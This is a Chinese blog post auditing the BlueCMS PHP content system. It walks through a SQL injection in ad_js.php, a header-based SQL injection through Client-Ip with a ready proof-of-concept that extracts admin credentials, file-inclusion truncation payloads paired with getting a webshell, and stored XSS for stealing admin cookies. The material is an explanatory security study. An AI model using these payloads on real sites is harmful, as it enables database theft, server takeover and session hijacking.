bluecms代码审计

初入代码审计,先用最朴素方法,从最简单的cms开始审计吧。

掏出seay一顿撸。

 

一 ad_js.php存在sql注入

参数没有加单引号保护,即使包含了require_once dirname(__FILE__) . '/include/common.inc.php'; 网站配置文件,对传入的参数

进行了统一gpc转义处理

get_magic_quotes_gpc函数作用
if(!get_magic_quotes_gpc())//如果php配置中没有开启gpc转义配置,则在此进行转义
{
    $_POST = deep_addslashes($_POST);
    $_GET = deep_addslashes($_GET);
    $_COOKIES = deep_addslashes($_COOKIES);
    $_REQUEST = deep_addslashes($_REQUEST);
}

但是此处没有加单引号过滤。

继续跟踪到getone函数

    function getone($sql, $type=MYSQL_ASSOC){
        $query = $this->query($sql,$this->linkid);
        $row = mysql_fetch_array($query, $type);
        return $row;
    }

只是简单的查询语句,没有加过滤。

?ad_id=1 union select 1,2,3,4,5,6,7 #

ctrl+u可以看到显示位。

 

二 commenr.php头部sql注入漏洞

function getip()
{
    if (getenv('HTTP_CLIENT_IP'))
    {
        $ip = getenv('HTTP_CLIENT_IP'); 
    }
    elseif (getenv('HTTP_X_FORWARDED_FOR')) 
    { 
        $ip = getenv('HTTP_X_FORWARDED_FOR');
    }
    elseif (getenv('HTTP_X_FORWARDED')) 
    { 
        $ip = getenv('HTTP_X_FORWARDED');
    }
    elseif (getenv('HTTP_FORWARDED_FOR'))
    {
        $ip = getenv('HTTP_FORWARDED_FOR'); 
    }
    elseif (getenv('HTTP_FORWARDED'))
    {
        $ip = getenv('HTTP_FORWARDED');
    }
    else
    { 
        $ip = $_SERVER['REMOTE_ADDR'];
    }
    return $ip;
}

http头部可以伪造

配置文件中对$*post、$*get、$*cookies和$*request统一进行gpc处理,但是遗漏了$_SERVER。而且网站恰恰通过该变量获取ip地址,因此我们就可以对ip通过client-ip或x-forwarded-for等进行伪造。

查看哪些地方用了这个危险函数。

comment.php 文件中有

$sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) 
             VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')";

发布新闻之后评论一下抓包。

bluecms代码审计

 

 

 截断调试。

添加请求头 Client-Ip: test

bluecms代码审计

 

 

 确实是没有过滤的被插入到sql语句中。

构造poc

1.1.1.1','1'), ('', '1', '1', '1', '6', (select group_concat(admin_name,":",pwd) from blue_admin), '1613538242', '1.1.1.1

bluecms代码审计

 

 

 三 文件包含漏洞

user.php存在此漏洞

全文追踪

bluecms代码审计

 

 

还有addslashes_deep的过滤,但是这是无法防住文件包含的。

00截断(需要 php版本小于 5.3.8 以及 magic_quotes_gpc = Off )

点号截断(只适用于windows)(php版本 5.2.17、 magic_quotes_gpc = On )
index.php?file=phpinfo.php...........................................................................................................................................................................................................................(本次测试长度需要大于269)

./截断 (php版本 5.2.17、 magic_quotes_gpc = On )
index.php?file=phpinfo.php././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././. /././././(本次测试长度需要大于269)

配合文件上传包含图片马getshell。

四 存储xss

用户注册时候邮箱,构造xss

bluecms代码审计

 

 后台可以弹出xss盗取cookie

bluecms代码审计

 

上一篇:HTTP 请求头中的 X-Forwarded-For


下一篇:开发者边车,命名取自service-mesh的service-sidecar,意为为开发者打辅助的边车工具 通过本地代理的方式将https请求代理到一些国内的加速通道上